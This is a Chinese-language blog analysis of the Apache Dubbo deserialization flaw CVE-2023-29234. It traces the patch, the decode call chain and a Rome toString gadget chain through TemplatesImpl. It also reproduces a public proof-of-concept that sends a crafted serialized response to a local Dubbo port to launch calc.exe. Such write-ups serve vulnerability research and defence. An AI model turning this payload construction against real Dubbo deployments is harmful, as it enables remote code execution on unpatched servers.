Apache dubbo反序列化漏洞分析(CVE-2023-29234)

2024-03-07 998 0

漏洞概述

Apache Dubbo 是阿里巴巴公司开源的一种高性能、轻量级的开源分布式服务框架,使得开发者能够更容易地构建可扩展、高性能的分布式系统。

2023年12月15日,Apache 官方发布安全通告,披露了其 Dubbo 存在反序列化漏洞(CVE-2023-29234),该漏洞源于Dubbo在处理传入的序列化数据包时没有对其恶意代码进行过滤,攻击者可以通过向 Dubbo 服务发送特制的序列化对象来利用此漏洞。该问题受影响版本:Apache Dubbo 3.1.0-3.1.10,3.2.0-3.2.4。

漏洞分析

补丁查看

查看apache-dubbo的github:https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a

Apache dubbo反序列化漏洞分析(CVE-2023-29234)插图

源代码中因为使用了字符串拼接,在抛出异常时会直接打印obj对象,所以obj对象会自动调用其toString方法,从而导致恶意代码被执行。

利用点分析

在上述代码中,obj对象被用于构造一个IOException 的错误消息。Java中的字符串连接操作(+)会隐式地调用对象的 toString() 方法,将对象转换为字符串。因此,当obj对象被连接到字符串中时,其toString() 方法将被自动调用。

如果obj对象所在类有重写toString()则调用重写后的toString(),没有重写就调用父类Object的toString方法。

因此这里的漏洞利用思路就是将传入的Object类重新toString方法,并在重写的toString方法中插入恶意代码。

在调试时意外发现,到断点处会弹计算器

Apache dubbo反序列化漏洞分析(CVE-2023-29234)插图1

研究了一下原理:

  • IDEA在debug程序时,当debug到某个对象时,会调用对象的toString()方法,用来在debug界面显示对象信息。
  • IDEA调用toString()方法时,即使在toString()方法中设置了断点,该断点也不会被触发,也就是说,开发者多数情况下不会知道toString()方法被调用了
  • 多数情况下调用一下toString()方法没有什么问题,但是也有例外,比如重写了toString()方法的类,随意的调用toString()方法会导致未知的问题。

IDEA在debug时调用toString()方法的情况是可以在配置中关掉的:

Apache dubbo反序列化漏洞分析(CVE-2023-29234)插图2

利用链分析

该漏洞的调用过程如下

Apache dubbo反序列化漏洞分析(CVE-2023-29234)插图3

根据类名进行回溯这里大致是要进入到Dubbo的解码器中,关键是要进入到DecodeableRpcResult#decode。

Dubbo在解码时会调用org.apache.dubbo.rpc.rotocol.dubbo.DubboCodec#decodeBody方法

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
    // get request id.
    long id = Bytes.bytes2long(header, 4);
    if ((flag & FLAG_REQUEST) == 0) {
        // decode response.
        Response res = new Response(id);
        if ((flag & FLAG_EVENT) != 0) {
            res.setEvent(true);
        }
        // get status.
        byte status = header[3];
        res.setStatus(status);
        try {
            if (status == Response.OK) {
                Object data;
                if (res.isEvent()) {
                    byte[] eventPayload = CodecSupport.getPayload(is);
                    if (CodecSupport.isHeartBeat(eventPayload, proto)) {
                        // heart beat response data is always null;
                        data = null;
                    } else {
                        ObjectInput in = CodecSupport.deserialize(channel.getUrl(), new ByteArrayInputStream(eventPayload), proto);
                        data = decodeEventData(channel, in, eventPayload);
                    }
                } else {
                    DecodeableRpcResult result;
                    if (channel.getUrl().getParameter(DECODE_IN_IO_THREAD_KEY, DEFAULT_DECODE_IN_IO_THREAD)) {
                        result = new DecodeableRpcResult(channel, res, is,
                            (Invocation) getRequestData(id), proto);
                        result.decode();
                    } else {
                        result = new DecodeableRpcResult(channel, res,
                            new UnsafeByteArrayInputStream(readMessageData(is)),
                            (Invocation) getRequestData(id), proto);
                    }
                    data = result;
                }
                res.setResult(data);
            } else {
                ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
                res.setErrorMessage(in.readUTF());
            }
        } catch (Throwable t) {
            if (log.isWarnEnabled()) {
                log.warn(PROTOCOL_FAILED_DECODE, "", "", "Decode response failed: " + t.getMessage(), t);
            }
            res.setStatus(Response.CLIENT_ERROR);
            res.setErrorMessage(StringUtils.toString(t));
        }
        return res;
    } else {
        // decode request.
       ...
    }

在上段代码中,当响应标志位被设置(FLAG_REQUEST==1时),会进入到decode response触发DecodeableRpcResult#decode方法调用。

在解码服务端响应报文时,先读取状态标志,然后根据状态标志判断后续的数据内容。响应结果首先会写一个字节标记位。因此,为了进入到handleException(),在构造响应体时,需要设置对应的状态标志。

1.处理标记位代表返回值为Null的场景。

2.代表正常返回,首先判断请求方法的返回值类型,返回值类型方便底层反序列化正确读取,将读取的值存在result字段中。

3.如果返回值包含泛型 ,则调用反序列化解析接口

4.处理服务端返回异常对象的场景, 同时会将结果保存在exception字段中。

5.处理返回值为Null,并且支持服务端请求额外参数透传给客户端,在客户端会继续读取保存在HashMap中的请求额外参数值。

public Object decode(Channel channel, InputStream input) throws IOException {
        if (log.isDebugEnabled()) {
            Thread thread = Thread.currentThread();
            log.debug("Decoding in thread -- [" + thread.getName() + "#" + thread.getId() + "]");
        }

        // switch TCCL
        if (invocation != null && invocation.getServiceModel() != null) {
            Thread.currentThread().setContextClassLoader(invocation.getServiceModel().getClassLoader());
        }
        ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
            .deserialize(channel.getUrl(), input);

        byte flag = in.readByte();
        switch (flag) {
            case DubboCodec.RESPONSE_NULL_VALUE:
                break;
            case DubboCodec.RESPONSE_VALUE:
                handleValue(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION:
                handleException(in);
                break;
            case DubboCodec.RESPONSE_NULL_VALUE_WITH_ATTACHMENTS:
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_VALUE_WITH_ATTACHMENTS:
                handleValue(in);
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS:
                handleException(in);
                handleAttachment(in);
                break;
            default:
                throw new IOException("Unknown result flag, expect '0' '1' '2' '3' '4' '5', but received: " + flag);
        }
        if (in instanceof Cleanable) {
            ((Cleanable) in).cleanup();
        }
        return this;
    }

gadget

有多种toString方法开始触发的的gadget,这里选择了ObjectBean.toString()作为toString方法开始触发的的gadget。

com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有getter和setter方法, 接着会根据参数使用_obj实例进行反射调用, 通过这个点可以用来触发 TemplatesImpl 的利用链。

调用链:

ObjectBean.toString()
    ToStringBean.toString()
        TemplatesImpl.getOutputProperties()

漏洞复现

Version:2.1.5

JDK:1.8.0_381

利用公开的Poc进行复现,测试POC的核心代码如下:

public static void main(String[] args) throws Exception {

    ByteArrayOutputStream boos = new ByteArrayOutputStream();
    ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
    Serialization serialization = new NativeJavaSerialization();
    NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

    // header.
    byte[] header = new byte[HEADER_LENGTH];
    // set magic number.
    Bytes.short2bytes(MAGIC, header);
    // set request and serialization flag.
    header[2] = serialization.getContentTypeId();

    header[3] = Response.OK;
    Bytes.long2bytes(1, header, 4);

    // result
    Object exp = getThrowablePayload("calc.exe"); // Rome toString 利用链
    out.writeByte((byte) 0);
    out.writeObject(exp);

    out.flushBuffer();

    Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
    boos.write(header);
    boos.write(nativeJavaBoos.toByteArray());

    byte[] responseData = boos.toByteArray();

    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(responseData);
    outputStream.flush();
    outputStream.close();
}

    protected static Object getThrowablePayload(String command) throws Exception {
    Object o = Gadgets.createTemplatesImpl(command);
    ObjectBean delegate = new ObjectBean(Templates.class, o);

    return delegate;
}

Apache dubbo反序列化漏洞分析(CVE-2023-29234)插图4

修复建议

升级Apache Dubbo 至对应安全版本。

参考

https://github.com/RacerZ-fighting/DubboPOC/tree/1bdbf4927f8d43df80648db9f2784b2b851ea7a4

 


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞
万字长文浅谈三高系统建设方法论和实践
你遇到过哪些奇葩面试题目;如何考察渗透测试与安全管理能力| FB甲方群话题讨论

发布评论